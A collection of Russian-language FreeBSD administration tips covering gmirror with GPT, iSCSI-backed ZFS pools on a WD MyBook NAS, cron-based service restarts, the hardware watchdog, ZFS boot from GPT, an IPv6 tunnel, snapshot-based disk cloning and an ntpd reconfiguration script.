    Примечательно, что в русскоязычном варианте Handbook'а часть этого
    предупреждения относительно использования GPT-разделов вместе с gmirror во
    FreeBSD-9.x попросту отсутствует.
    
    Терзаемый неприятным чувством, что поддержка GPT дисков во FreeBSD далека еще
    от совершенства, я решил выяснить, действительно-ли в настоящий момент дисковая
    функциональность FreeBSD-9.0R не может объединить технологии gmirror -
    программного зеркала (RAID-1) и разделов GPT.
    
    Чаще всего gmirror используется в двух вариантах. Первый, это формирование
    зеркала из "сырых" дисков, с последующим созданием на зеркале разделов и
    файловых систем. Договоримся для краткости называть его gmirror+GPT.
    
    Второй способ предполагает создание одного, или нескольких разделов на диске и
    последующее зеркалирование этих разделов на другой диск. Этот метод будем
    называть GPT+gmirror.
    
    
    gmirror+GPT 
    
    Итак, чтобы при помощи gmirror собрать RAID-1, а затем создать поверх него
    разделы GPT нам потребуется дистрибутив FreeBSD-9.0R и два установленных в
    компьютер жестких диска.
    
    Рекомендуется, чтобы оба жестких диска были одинаковыми по всем
    характеристикам: объему, скорости вращения шпинделей, размеру буфера памяти и
    т.д. И хоть эти условия для применения gmirror не являются обязательными,
    однако нужно понимать, что в случае использования различия дисков,
    характеристики зеркала будут определяться худшим диском.
    
    К сожалению, в настоящий момент инсталлятор FreeBSD не умеет управлять модулем
    gmirror, поэтому создавать RAID-1 нам придется своими собственными руками. Для
    этого загружаемся с инсталляционного диска но, запуская установку, переходим в
    shell, сразу, как только инсталлятор предоставит нам эту возможность:
    
    
    
    Попав в командную строку, начинаем подготовку зеркала. Бегло проглядев вывод
    команды dmesg, обнаруживаем, что в связи с новым именованием устройств во
    FreeBSD-9.0, в нашем случае диски определились как ada0 и ada1. Ну, раз так,
    значит так, создадим из них зеркало gm0 и сразу же загрузим его:
    
       # gmirror label gm0 ada0 ada1
       # gmirror load
    
    Теперь в системе появился новый диск - gm0. Убедиться в этом можно посмотрев вывод команды:
    
       # ls -la /dev/mirror/gm0
    
    Однако этот диск пока сырой. Поэтому определим для него схему разбиения на
    разделы, в нашем случае - GPT и сделаем этот диск загрузочным:
    
       # gpart create -s gpt mirror/gm0
       # gpart bootcode -b /boot/pmbr -p /boot/gptboot -i 1 mirror/gm0
    
    На этом первая часть вмешательства в обычный ход инсталляции FreeBSD может быть
    закончена. В самом деле, зачем людям работать руками, если инсталлятор со всем
    остальным может справиться самостоятельно?  Поэтому смело набираем exit и
    выходим из shell'а, чтобы вернуться в инсталлятор, где нам будет предложено
    установить имя хоста и выбрать компоненты дистрибутива.
    
    Далее, когда инсталлятор загрузит редактор разделов, наше программное зеркало
    будет ему доступно также, как и два физических диска ada0 и ada1. Теперь после
    нашего краткого вмешательства, инсталлятор беспрепятственно позволит создать на
    зеркале необходимые разделы. Более того все изменения будут даже динамически
    отражаться на обеих половинах зеркала:
    
    
    
    Далее инсталляция пойдет как по маслу в обычном порядке и до своего логического завершения.
    
    Когда все закончится, перезагружаемся проверить все-ли мы сделали правильно, но
    здесь нас поджидает небольшой fail. С прискорбием мы обнаруживаем, что система
    загрузиться не может: ядро попросту не понимает, что такое gmirror и не видит зеркала.
    
    Выругавшись нехорошими словами, снова вставляем инсталляционный диск и
    загружаемся в так полюбившийся нам shell.
    
    Далее загружаем модуль gmirror и, вспомнив, что корневая файловая система
    находится на gm0p3, монтируем корень в /mnt.
    
       # gmirror load
       # mount /dev/mirror/gm0p3 /mnt
    
    Теперь остается добавить модуль gmirror в loader.conf для загрузки его вместе с
    ядром при старте системы:
    
       # echo &#8216;geom_mirror_load="YES"&#8217; > /mnt/boot/loader.conf
    
    На этом действительно все. Перезагружаемся и получаем работоспособную систему.
    Чтобы убедиться в этом, можно безбоязненно проводить тесты по поочередному
    отключению дисков.
    Единственный нюанс, внимательный администратор заметит во время загрузки
    системы настораживающее предупреждение:
    
       gptboot: invalid backup GPT header
    
    Andrey V. Elsukov - один из разработчиков FreeBSD объясняет это предупреждение так:
    "Причина понятна - GPT была создана поверх зеркала. Размер провайдера
    mirror/gm0 на 1 сектор меньше, чем размер диска, так как gmirror забирает
    последний сектор для хранения своих метаданных. Загрузчик gptboot ничего не
    знает о программном зеркале и ищет резервный заголовок GPT в конце диска, а там
    находятся метаданные gmirror.
    Тут есть небольшое разногласие между gptboot и GEOM_PART_GPT. Некоторое время
    назад я изменил алгоритм проверки корректности GPT в GEOM_PART_GPT. А именно,
    после прочтения основного заголовка GPT и проверки его контрольной суммы,
    резервный заголовок считывается по хранящемуся в основном заголовке адресу. В
    случае, когда основной заголовок повреждён, резервный заголовок ищется в конце диска."
    
    Как видим из объяснения разработчика, ничего вроде бы страшного не происходит.
    И хотя у нас отсутствует запасной заголовок GPT в конце диска, это не критично,
    правда до тех пор, пока все работает.
    
    
    GPT+gmirror
    
    Этот вариант отличает от предыдущего тем, что зеркалируетяс не диск целиком, а
    отдельные его разделы. Как и для первого случая, нам потребуется дистрибутив
    FreeBSD-9.0R и два жестких диска, установленных в машину. Как и прежде
    рекомендуется, чтобы диски были полностью одинаковыми. Тем не менее, если
    случилось так, что один диск больше другого, то инсталляцию FreeBSD лучше
    проводить на диск меньшего объема. Это поможет избежать лишних расчетов
    размеров разделов при зеркалировании их с большего диска на меньший.
    
    В остальном первоначальная установка FreeBSD-9.0R ничем не отличается от
    обычной инсталляции по-умолчанию. Вся настройка зеркалирования начинается, в
    тот момент, когда мы загружаем свежепроинсталлированную систему и попадаем в консоль.
    
    Как и в предыдущем случае, диски определились как ada0 и ada1. FreeBSD
    установлена на меньший по размеру диск - ada0. Первым делом сохраним
    разметку диска и восстановим её на другом диске:
    
       # gpart backup ada0 > ada0.gpt
       # gpart restore -F /dev/ada1 < ada0.gpt
       # gpart show
    
    
    
    Как видно на скриншоте, разделы удачно скопировались и на бОльшем диске
    осталось 5GB свободного неразмеченного места. Теперь по логике вещей, можно
    начать зеркалирование разделов.
    
    Однако нужно забыть сделать диск ada1 загрузочным, ведь мы зеркалируем не весь
    диск целиком, а только его разделы. Иначе с выходом из строя ada0, система не
    сможет загрузится с ada1. Поэтому:
    
       # gpart bootcode -b /boot/pmbr -p /boot/gptboot -i 1 ada1
    
    Кроме того, раздел /dev/da0p3 - содержит корневую файловую систему, он
    смонтирован, и размонтировать его не получится, поэтому в текущем положении
    изменить его не возможно.
    
    Поэтому перезагружаем систему и загружаемся с инсталляционного диска, где
    привычно уже заходим в shell и на каждом разделе диска ada0 создаем зеркало и
    загружаем его:
    
       # gmirror label -vb round-robin boot /dev/ada0p1
       # gmirror label -vb round-robin swap /dev/ada0p2
       # gmirror label -vb round-robin root /dev/ada0p3
       # gmirror load
    
    Итого у нас получаютcя 3 зеркала. Сразу же добавляем к зеркалам по их второй половине:
    
       # gmirror insert boot /dev/ada1p1
       # gmirror insert swap /dev/ada1p2
       # gmirror insert root /dev/ada1p3
    
    Начнется процедура зеркалирования, длительность которой зависит от объема
    данных и характеристик жестких дисков. Наблюдать за этим увлекательным
    процессом можно при помощи команды:
    
       # gmirror status
    
    А пока дожидаемся окончания этого процесса, чтобы зря не терять времени, можно
    не спеша сделать еще 2 полезные вещи. Первая, добавить модуль gmirror в
    загрузку ядра:
    
       # mount /dev/mirror/root /mnt
       # echo &#8216;geom_mirror_load="YES"&#8217; > /mnt/boot/loader.conf
    
    И вторая, отредактировать fstab в соответствии с измененными под зеркала именами разделов:
    
       # cat /mnt/etc/fstab
       #Device		Mountpoint	FStype	Options	Dump	Pass#
       /dev/mirror/swap	none		swap		sw		0	0
       /dev/mirror/root	/		ufs		rw		1	1
    
    На этом все. После окончания синхронизации зеркал, можно перезагрузиться и
    устроить системе тест, отключая то один диск, то другой. Только главное не
    увлечься и не забыть, что каждый раз, при возвращении диска в RAID, нужно
    обязательно дожидаться окончания процесса синхронизации, иначе вы потеряете данные.
    
     
    ----* Создание масштабируемого хранилища с использованием WD MyBook NAS + FreeBSD + ZFS   Автор: Алексей Волков  [комментарии]
     
    Вместо предисловия.
    
    RAID-Z doesn't require any special hardware. It doesn't need NVRAM for
    correctness, and it doesn't need write buffering for good performance. With
    RAID-Z, ZFS makes good on the original RAID promise: it provides fast, reliable
    storage using cheap, commodity disks.
                                                                          Jeff Bonwick  [0]
    
    Мое знакомство с FreeBSD состоялось  достаточно давно, как только по ряду
    причин прошла "первая любовь" к свежему на тот момент QNX Momentics.  Просто
    решил взять другую OS для других задач, без всяких аргументов. Но страсть к ZFS
    возникла практически мгновенно, как только  прочитал первые материалы по ней в
    свете включения кода в HEAD ветку FreeBSD. C тех пор  мы не разлучны, а с
    выходом релиза FreeBSD 8.0,  эта привязанность может стать вечной :)
    
    К сожалению, уж очень часто так случается, что место на разделе заканчивается,
    и в случае небольших офисных серверов, это превращается в маленькую трагедию.
    Завершив переезд на раздел большего размера, остаешься с неприятной мыслью, что
    этот раз был не последним, а следующий будет сложнее и дороже во всех смыслах
    этого слова.
    
    Относительно недавно, в розничную продажу поступила линейка NAS устройств WD My
    Book. Я так же обратил на нее внимание, но в первую очередь потому, что в
    голове промелькнула мысль - "Вот оно недостающее звено для бюджетного решения
    проблемы серверного пространства", но на тот момент я еще не знал как именно
    это можно сделать.
    
    Общая концепция заключалась в том, чтобы использовать NAS не так как его
    позиционирует производитель, а в виде блочного устройства. Другими словами ни
    CIFS/SAMBA ни FTP не нужны, требуется  получить блочное устройство в составе
    FreeBSD но физически расположенное на NAS. И тогда на сцену выйдет ZFS и
    возьмет его в свои крепкие руки.
    
    Вариант с созданием блочного устройства посредством mdconfig поверх
    подключенной через CIFS точки монтирования, меня категорически не устраивал.
    Моя цель где то рядом с ggate, AoE (ATA over Ethernet) или iSCSI.
    
    Упомянутый выше NAS, является достаточно открытым и работает на базе armv5tejl
    Linux 2.6.17.14. А значит к нему можно получить доступ по ssh  и установить
    дополнительный софт. Процедурs настройки ssh и репозитария optware можно найти
    по ссылкам [1] и [2].
    
    К великой радости optware имеет пакет для предоставления блочного устройства по
    протоколу AoE, но радость была не долгой, так как все попытки получить AoE на
    стороне FreeBSD, оказались не удачными.  Существующий AoE порт CORAID [3] я так
    и не смог заставить работать во FreeBSD 8, а мои вопросы к автору порта по
    email пока остались без ответа. Возвращаться к ядрам 7.X или тем более 6.X не
    имело смысла, так как терялась ZFS.
    
    Вспомнил про гору и Мухамеда, и выяснил что FreeBSD прекрасно дружит с iSCSI и
    все необходимое уже присутствует в базовой системе. Остается как то
    организовать iSCSI target на стороне NAS. Перепробовав массу вариантов собрать
    из исходников iSCSI target ( [4] [5] [6]), я практически отчаялся, пока не
    вспомнил, что FreeBSD имеет простенький порт net/iscsi-target. На удивление все
    собралось из исходников с первой попытки и у меня на руках оказался готовый
    бинарник iscsi-target [8] для ARM LINUX который я положил на NAS в /opt/sbin.
    
    Дело техники.
    
    В качестве iSCSI носителя будем использовать целиком раздел, который ранее
    выделялся для CIFS (/dev/md4) для чего нужно в /etc/init.d/network_servers.sh
    отключить запуск samba.sh и закоментить в /etc/fstab
    
       #/dev/md4        /shares/internal ext3   defaults,noatime     0       2
    
    Узнаем полный объем md4.
    
       [root@BACKUP]# fdisk -l /dev/md4
    
       Disk /dev/md4: 1992.0 GB, 1992096874496 bytes
       2 heads, 4 sectors/track, 486351776 cylinders
       Units = cylinders of 8 * 512 = 4096 bytes
    
    
    fdisk показал размер 1992096874496. Опытным путем выяснилось, что в
    конфигурации iscsi-targe нужно указать на 1 меньше.
    
    Подготовим конфигурацию для iSCSI /etc/iscsi/targets
    
       extent0         /dev/md4        0               1992096874495
       target0         rw              extent0         192.168.0.0/24
    
    а так же скрипт автоматического запуска сервиса iSCSI /etc/init.d/iscsi.sh [9]
    и добавляем его запуск в список сервисов /etc/init.d/network_servers.sh.
    Перезагружаем NAS.
    
    Настройка iSCSI initiator
    
    На стороне сервера FreeBSD (где будем организовывать ZFS пул) настраиваем инициатор.
    
    Утилитой iscontrol выясняем какое имя у нашего target.
    
       server# iscontrol -d targetaddress=nas.ip-or-hostname
       TargetName=iqn.1994-04.org.netbsd.iscsi-target:target0
       TargetAddress=192.168.0.1:3260,1
    
    Так как в теории устройств NAS у нас должно быть много, их как то надо
    идентифицировать. Для целей идентификации MAC адрес подходит как нельзя кстати,
    тем более что он указан на корпусе NAS. Дополнительно можно намекнуть на объем
    устройство, и тогда получим идентификаторы вида
    
       00:90:a9:0d:f3:72-2T
       00:90:a9:3d:e3:7a-512G
    
    Cоздаем /etc/iscsi.conf
    
       #
       # Globals
       #
       port = 3260
       
       #
       00:90:a9:0d:f3:72-2T { # nickname
       targetaddress        = nas.ip-or-hostname
       targetname           = iqn.1994-04.org.netbsd.iscsi-target:target0
       }
    
    Я не нашел штатных настроек FreeBSD для автозапуска инициатора, по этому
    добавил скрипт /usr/local/etc/rc.d/iscsiinitiator
    
       # PROVIDE: iscsiinitiator
       # REQUIRE: DAEMON
       # AFTER: NETWORK
    
       . /etc/rc.subr
    
       name="iscsiinitiator"
       rcvar=`set_rcvar`
    
       start_cmd=iscsi_start
     
       iscsi_start() {
          echo Start iSCSI initiator
          daemon -f iscontrol -c /etc/iscsi.conf -n 00:90:a9:0d:f3:72-2T
       }
    
       # read settings, set default values
       load_rc_config "$name"
       : ${iscsiinitiator="NO"}
    
       run_rc_command "$1"
    
    и соотвесвенно, требуется добавить в /etc/rc.conf строчку
    
       iscsiinitiator_enable="YES"
    
    Итак запускаем приемную часть iSCSI
    
    
       server# /usr/local/etc/rc.d/iscsiinitiator start
       Start iSCSI initiator
    
    В dmesg долны появится строки вида
    
       da0 at iscsi0 bus 0 target 0 lun 0
       da0: <NetBSD NetBSD iSCSI 0> Fixed Direct Access SCSI-3 device
    
    Что означает что весь процесс пройден верно.
    
    
    Подготовка блочного устройства для включенияв общий пул
    
    Размечаем устройсво da0 средствами gpart
    
       server# gpart create -s gpt da0
       server# gpart add -t freebsd-zfs -l 00:90:a9:0d:f3:72-2T da0
    
    Проверяем что наше устройство корректно отобразилось в /dev/gpt
    
       server# ls /dev/gpt
       00:90:a9:0d:f3:72-2T    ... ... ...
    
    Создаем zfs пул
    
       server# zpool create -m /mnt/big-storage storage0 /dev/gpt/00:90:a9:0d:f3:72-2T
    
    И вот, наш пул готов!
    
       server# zpool list
       NAME      SIZE   USED  AVAIL    CAP  HEALTH  ALTROOT
       storage0 1,80T    72K  1,80T     0%  ONLINE  -
    
    Заключение
    
    Мои поверхностные тесты показали скорость работы данного пула, близкие к
    максимальным возможностям самой среды FastEthernet. Т.е. 5-6Mbyte/sec, что в
    моих обстоятельствах является более чем достаточном. Дополнительно стоит
    отметить, что с увеличением количества устройств в пуле, скорость так же будет
    расти (если конечно серверный порт и коммутатор гигабитные).
    
    P.S.
    
    Данный пример, своей целью имеет демострацию именно последовательности
    действий, а не рекомендуемый вариант использования.
    
    В реальных условиях нужно создавать пул из нескольких NAS устройств и
    объединять их в единый RAID-Z с одиночной или двойной точкой отказа.
    
    Но в любом случае последующая ситуация с отказом NAS устройства, или
    увеличением общего объема, будет заключаться в подготовке NAS для работы по
    iSCSI и добавлением его в ZFS пул, что представляется достаточно тривиальным и
    не зависящим от общего объема пула.
    
    Не маловажным остается тот факт, что все работы проводятся без остановки
    сервисов или тем белее перезагрузок. Дополнительное пространство просто
    появляется и начинает работать на Вас!
    
    [0] http://blogs.sun.com/bonwick/entry/raid_z
    [1] http://mybookworld.wikidot.com/ssh-enable
    [2] http://mybookworld.wikidot.com/optware
    [3] http://support.coraid.com/support/freebsd/
    [4] http://www.open-iscsi.org/
    [5] http://linux-iscsi.sourceforge.net/
    [6] http://iscsitarget.sourceforge.net/
    [7] http://www.freshports.org/net/iscsi-target/
    [8] http://softlynx.ru/pub/WD-MyBook-NAS/iscsi-target
    [9] http://softlynx.ru/pub/WD-MyBook-NAS/iscsi.sh
    
     
    ----* Автоматический перезапуск служб во FreeBSD   Автор: Алексей Волков  [комментарии]
     
    В процессе установки ПО для FreeBSD "правильные" службы автоматически прописывают скрипт запуска 
    в /usr/local/etc/rc.d и управление его поведением определяется в /etc/rc.conf 
    
    Однако случается так что успешно запустившись при включении сервера, служба по
    ряду причин падает позже
    в процессе работы (такое случается например c dovecot или squid). В результате чего как минимум 
    требуется перезапуск с последующим анализом причин поведения. Про анализ причин
    поведения отдельная песня,
    а вот перезапускать в таких редких случаях ручками может получиться с изрядными задержками, 
    пока не выяснится, что что-то перестало работать.
    
    На этот счет я практикую запуск через cron команды которая проверяет все
    сконфигурированные к запуску
    скрипты /usr/local/etc/rc.d на предмет поддержки команды status и если эта команда возвращает 
    отрицательный результат (т.е. сервис не активен) то заново запускает его. 
    
    Итого в файле /var/cron/tabs/root значится строка 
    
       */5 * * * * /usr/bin/find /usr/local/etc/rc.d/ -type file | xargs -I$ sh -c "($  2>&1 | grep -q -v status) \
          && exit ; ($ status > /dev/null) && exit ; $ start"
    
    В итоге, если служба остановилась, она будет перезапущена в течении 5 минут, и
    на root придет сообщение
    с логом запуска (если конечно почтовая подсистема настроена)
    
     
    ----* Использование аппаратного "watchdog" во FreeBSD   Автор: Дмитрий Иванов  [комментарии]
     
    Некоторые материнские платы снабжены специальным устройством, делающим жесткую перезагрузку, 
    если ОС не "дернула" вовремя это устройство. Называется оно "hardware watchdog timer". 
    Таким образом, автоматическая и неминуемая перезагрузка гарантируется при "зависании" ОС.
    
    В частности, watchdog timer имеется на многих материнских платах Intel, 
    причем не только на серверных. Соответствующий драйвер FreeBSD называется ichwd. 
    Итак, если у нас материнка Intel, попробуем сделать так:
    
       kldload ichwd
    
    В сообщениях ядра (их можно посмотреть командой dmesg) при этом увидим что-то вроде:
    
       ichwd0: <Intel ICH9R watchdog timer> on isa0
       ichwd0: Intel ICH9R watchdog timer (ICH9 or equivalent)
    
    Теперь ясно, что у нас действительно есть такой таймер. Действуем дальше.
    
    Для автоматической загрузки драйвера добавляем в /boot/loader.conf:
    
       ichwd_load="YES"
    
    Для запуска демона, "дергающего" watchdog, добавляем в /etc/rc.conf:
    
       watchdogd_enable="YES"
    
    Этот демон будет периодически "дергать" таймер, сообщая ему, что система все еще жива. 
    Будьте осторожны с этим демоном! Если убить его как обычно (т.е. 15-м сигналом), 
    он аккуратно снимет таймер с "боевого дежурства". Но если убить его 9-м сигналом, 
    то таймер перестанет получать наши сигналы, и решит, что система зависла. Произойдет перезагрузка.
    
    Иногда watchdog надо включить в BIOS. На некоторых платах watchdog есть, но
    воспользоваться им невозможно.
    Иногда при инициализации драйвера появляется ругань на параллельный порт, но ее можно игнорировать.
    
    Проверено на FreeBSD 7.1-BETA2.
    
     
    ----* Настройка загрузки ZFS с GPT-раздела во FreeBSD и создание зеркала (доп. ссылка 1)   Автор: unknown  [комментарии]
     
    Во FreeBSD 8-CURRENT недавно появилась поддержка загрузки ядра с ZFS,
    а сама файловая система была обновлена до версии 13. Процесс
    развертывания ZFS с возможностью загрузки с нее очень простой:
    
    1. Собираете world с LOADER_ZFS_SUPPORT и kernel с поддержкой gpart(8):
    
    	# добавляем в make.conf(5) опцию поддержки ZFS для loader(8)
    	echo LOADER_ZFS_SUPPORT=yes >>/etc/make.conf
    
    	# собираем world... нет, только loader(8) и загрузочный код
    	cd /usr/src/sys/boot
    	make cleandir; make cleandir
    	make obj depend all install
    
    	# добавляем поддержку таблиц разделов для gpart(8)
    	cat MYKERNEL
    	include		GENERIC
    	nooption	GEOM_BSD
    	nooption	GEOM_MBR
    	options		GEOM_PART_BSD
    	options		GEOM_PART_MBR
    	options		GEOM_PART_GPT
    
    	# собираем kernel
    	make kernel KERNCONF=MYKERNEL -C/usr/src
    
    2. Размечаете первый диск командой gpart(8) на несколько разделов, из
       которых обязательны только freebsd-boot и freebsd-zfs:
    
    	# создаем таблицу разделов типа GPT на диске ad0
    	gpart create -s GPT ad0
    
    	# добавляем загрузочный код, позволяющий загружаться с GPT разделов
    	gpart bootcode -b /boot/pmbr ad0
    
    	# создаем раздел для кода загрузки loader(8)'а с раздела GPT
    	gpart add -b 34 -s 256 -t freebsd-boot ad0
    
    	# записываем загрузочный код на него
    	gpart bootcode -p /boot/gptzfsboot -i 1 ad0
    
    	# создаем swap раздел для возможности использовать его
    	# в качестве dumpdev, т.к. делать kernel dump'ы на zvol'ах
    	# невозможно
    	gpart add -b 290 -s 2097152 -t freebsd-swap ad0
    
    	# создаем основной раздел для ZFS
    	gpart add -b 2097442 -s 232344173 -t freebsd-zfs ad0
    
    	# смотрим на результат
    	gpart show
    	=>       34  234441581  ad0  GPT  (112G)
    	         34        256    1  freebsd-boot  (128K)
    	        290    2097152    2  freebsd-swap  (1.0G)
    	    2097442  232344173    3  freebsd-zfs  (111G)
    
    3. Создаете pool для ZFS на первом разделе и загружаетесь с него:
    
    	# создаем pool с именем `h', выключенном поддержкой
    	# времени последнего доступа и включенным сжатием данных
    	zpool create -O atime=off -O compression=on h ad0p3
    
    	# создаем необходимые dataset'ы
    	zfs create -p -o setuid=off -o utf8only=on h/usr/home
    	zfs create -o sharenfs='-alldirs -webnfs' h/usr/ports
    	zfs create -o atime=on h/var
    	zfs create -o readonly=on h/var/empty
    
    	# населяем pool[1]
    	rsync -aHS --del --fileflags --filter 'merge migrate.rsync' / /h/
    
    	# перезагружаемся
    	shutdown -r now
    
    	# загружаемся *не* с ZFS в single-user режим (loader prompt)
    	boot -s
    
    	# меняем точку монтирования pool'а на корень
    	/etc/rc.d/hostid restart
    	/sbin/zfs set mountpoint=/ h
    
    	# перезагружаемся
    	/sbin/reboot
    
    	# загружаемся с ZFS (loader prompt)
    	load zfs
    	set vfs.root.mountfrom=zfs:h
    	boot
    
    	# добавляем в loader.conf(5) поддержку zfs и точку
            # монтирования / (корня)
    	echo zfs_load=YES >>/boot/loader.conf
    	echo vfs.root.mountfrom=\"zfs:h\" >>/boot/loader.conf
    
    4. Повторяете шаг 1 для второго диска и подсоединяете его к "зеркалу":
    
    	# Размечаем диск с учетом того, что количество блоков
            # у freebsd-zfs должно быть такое же, как и на первом диске.
    	# В даннном примере - 484200428.
    	=>       34  488394988  ad0  GPT  (233G)
    	         34        256    1  freebsd-boot  (128K)
    	        290    4194304    2  freebsd-swap  (2.0G)
    	    4194594  484200428    3  freebsd-zfs  (231G)
    
    	=>       34  488397101  ad1  GPT  (233G)
    	         34        256    1  freebsd-boot  (128K)
    	        290    4196417    2  freebsd-swap  (2.0G)
    	    4196707  484200428    3  freebsd-zfs  (231G)
    
    	# подсоединяете его к pool'у как элемент зеркала
    	# (не перепутайте с *add*)
    	zpool attach h ad0p3 ad1p3
    
    	# смотрим на результат
    	zpool status
    	  pool: h
    	 state: ONLINE
    	 scrub: none requested
    	config:
    
    		NAME        STATE     READ WRITE CKSUM
    		h           ONLINE       0     0     0
    		  mirror    ONLINE       0     0     0
    		    ad0p3   ONLINE       0     0     0
    		    ad1p3   ONLINE       0     0     0
    
    	errors: No known data errors
    
    Примечание: Тест проводился на 14 версии и с использованием
    вот этого патча - http://pastebin.com/f3d2089f3
    
    [1] пример migrate.rsync:
    	exclude .ccache
    	exclude /h
    	exclude /dev
    	exclude /nfs
    	exclude /tmp
    	exclude /var/emtpy
    	exclude /var/run
    
    Стоит не забыть потом создать эти директории в /h с соответствующими правами
    на них. В частности без /dev система не загрузится.
    
     
    ----* Подключение FreeBSD к IPv6 - поднимаем туннель через IPv4-сети провайдера (доп. ссылка 1)   Автор: Litos  [комментарии]
     
    Итак, пришло время поднять IPv4-IPv6 gateway, чтобы ходить в мир "другого
    интернета", коим он скоро будет.
    
    Самым простым способом получить IPv6 адрес оказалось получить подключение от http://go6.net
    
    Идем на этот сайт и регистрируемся http://go6.net/4105/register.asp
    
    
    Тут же они предлагают скачать софт и поставить, например для Windows вида "скачай и запусти"
    http://go6.net/4105/download.asp
    
    Но это не совсем наш метод, мы будем подключать сервер на FreeBSD 7.0 к этой сети.
    
    Ядро у нас собрано с поддержкой IPV6, т.е. с options INET6 (ядро GENERIC уже 
    поддерживает этот протокол и если вы его не отключали, значит, он у вас есть)
    
    Итак, ставим клиента, то, что они предлагают скачивать - есть в портах
    
       Port:   gateway6-5.0_2
       Path:   /usr/ports/net/gateway6
       Info:   Gateway6 Tunnel Setup Protocol Client - Free IPv6 tunnel
       B-deps:
       R-deps:
       WWW:    http://www.go6.net/
    
    
    Приступаем к установке:
    
       cd /usr/ports/net/gateway6
       make install clean
    
    Буквально через несколько минут клиент будет установлен
    
    Отредактируйте его конфигурационный файл /usr/local/etc/gw6c.conf
    
       userid=
       passwd=
    
    Пропишите туда ваше имя и пароль которые указали при регистрации на сайте.
    
    На этом начальная настройка закончена, для дальнейшей настройки читайте документацию.
    
    Как я понял, выдается целая сеть и для авторизованных пользователей http://go6.net/4105/freenet.asp,
    тем самым можно все компьютеры дома подключить на реальные статические IPv6 адреса.
    
       server=broker.freenet6.net
    
    broker.freenet6.net - это имя сервера для подключения (написано в письме при регистрации)
    
       # Включить использование авторизации
       auth_method=any
    
       # Писать логи в syslogd
       log_syslog=3
    
    Теперь осталось запустить его
    
       echo 'gateway6_enable="YES"' >> /etc/rc.conf
       /usr/local/etc/rc.d/gateway6 start
    
    И смотрим
    
       # tail -f /var/log/messages
       Oct 17 18:39:38 lola gw6c: Gateway6 Client v5.0-RELEASE build Oct 17 2008-14:56:32
       Oct 17 18:39:38 lola gw6c: Establishing connection to tunnel broker broker.freenet6.net using reliable UDP.
       Oct 17 18:39:42 lola gw6c: Connection to broker.freenet6.net established.
       Oct 17 18:39:45 lola gw6c: Authentication success.
       Oct 17 18:39:45 lola gw6c: Got tunnel parameters from server. Setting up local tunnel.
       Oct 17 18:39:45 lola gw6c: Executing configuration script: /bin/sh "/usr/local/share/gateway6/freebsd.sh".
       Oct 17 18:39:46 lola gw6c: Script completed successfully.
       Oct 17 18:39:46 lola gw6c: Your IPv6 address is 2001:05c0:8fff:fffe:0000:0000:0000:c243.
       Oct 17 18:39:46 lola gw6c: The tunnel type is v6udpv4.
    
    
       # ifconfig
    
       tun1: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> metric 0 mtu 1280
            inet6 2001:5c0:8fff:fffe::c243 --> 2001:5c0:8fff:fffe::c242 prefixlen 128
            Opened by PID 873
    
       # traceroute6 www.jp.freebsd.org
       ...
       # ping6 www.jp.freebsd.org
       ...
    
    Все прекрасно работает не смотря на то, что выход осуществляется в мир через  
    NAT на модеме.
    
    Итак, осталось только понять, "зачем это надо", но ясно одно - за этим будущее. 
    А еще можно посмотреть на танцующую черепаху на http://www.kame.net/ :-)
    
    Также рекомендую прочитать документацию (главу в 
    HandBook http://www.freebsd.org/doc/ru_RU.KOI8-R/books/handbook/network-ipv6.html) 
    по поддержке протокола IPv6 в системе FreeBSD.
    
     
    ----* Клонирование дисков во FreeBSD, используя снапшоты ФС   [комментарии]
     
    Создаем снапшот test1 раздела /home
    
       mount -v -u -o snapshot /home/snapshot/test1 /home
    
    или другой метод:
    
       mksnap_ffs /home /home/snapshot/test1
    
    Привязываем снапшот к устройству /dev/md1:
    
       mdconfig -a -t vnode -f /home/snapshot/test1 -u 1
    
    При необходимости снапшот можно смонтировать и посмотреть его содержимое:
    
       mount -o ro /dev/md1 /mnt
       ....
       umount /mnt
    
    Копируем содержимое раздела на второй диск:
    
       dd if=/dev/md1 of=/dev/ad4s1f bs=16k
    
    Отключаем снапшот
    
       mdconfig -d -u 1
    
    Выполняем fsck на новом разделе:
    
       fsck -f /dev/ad4s1f
    
     
    ----* ntpd на FreeBSD с подключением через PPP   Автор: Furcube  [комментарии]
     
    Есть компьютер с FreeBSD 7.0 (но должно работать и для остальных версий)
    Подключение к интернету производится через pppoe. Провайдер раз в сутки обрывает подключение, 
    соответственно при смене ip (он динамический) ntpd клинит - по команде ntpq -c pe 
    в колонке refid для всех серверов будет .INIT.
    
    Когда искал решение, наткнулся на следующий скрипт (немного модифицировал для FreeBSD):
    
    #!/bin/sh
    #
    # reconfigNtpd, written by Jan Ceuleers, March 2003, revised October 2003
    #
    # Purpose: ntpd running on a machine that has intermittent connectivity to
    #          the Internet, and that does not have a static public IP address,
    #          loses its associations with public NTP servers, even after the
    #          connection to the Internet has been restored.
    #          Restarting the ntpd daemon is a possibility, but the downside
    #          is that this causes time not to be served to local clients until
    #          ntpd has regained synchronisation.
    #          A better way is to configure at least one local clock (the local
    #          clock 127.127.1.0 at high stratum and/or a refclock), to cover
    #          for the periods when there is no Internet connectivity, and to
    #          use this script to unconfig/add{server,peer} all public time
    #          servers at runtime (i.e. without restarting the daemon)
    #
    # Usage: reconfigNtpd | ntpdc
    #
    # Bugs: * This script only generates unconfig/addpeer and unconfig/addserver
    #         pairs. Any relevant fudge statements or iburst options etc. are
    #         ignored.
    #
    #       * Location of keys file is hard-coded rather than being derived from
    #         ntp.conf
    #
    
    ###
    #
    # Get keyid and password from /etc/ntp/keys
    #
    ###
    set -- $(grep "^15" < /etc/ntp.keys)
    echo keyid $1
    echo passwd $3
    
    ###
    #
    # Derive unconfig commands from ntpdc output
    #
    ###
    ntpdc -n -p | awk '!/==/ && !/^ / { if (substr($1,2) !~ /^127.127./)
    print "unconfig " substr($1,2) }'
    
    ###
    #
    # Derive addserver commands from /etc/ntp.conf
    #
    ###
    awk '/^server[[:blank:]]/ { if ($2 !~ /^127.127./) print "addserver " $2
    }' /etc/ntp.conf
    
    ###
    #
    # Derive addpeer commands from /etc/ntp.conf
    #
    ###
    awk '/^peer[[:blank:]]/ { print "addpeer " $2 }' /etc/ntp.conf
    
    echo quit
    
    (источник - http://www.arda.homeunix.net/ntpsetup.html)
    
    Записываем куда-нибудь, где не потеряется.
    
    Конфиг ntpd следующего вида:
    /etc/ntp.conf
    
    server  <сервер>
    server  <сервер>
    
    logfile /var/log/ntp.log
    driftfile /var/db/ntp.drift
    statsdir /var/db/ntpstats/
    keys /etc/ntp.keys
    trustedkey 1 2 15
    controlkey 15        # ntpq
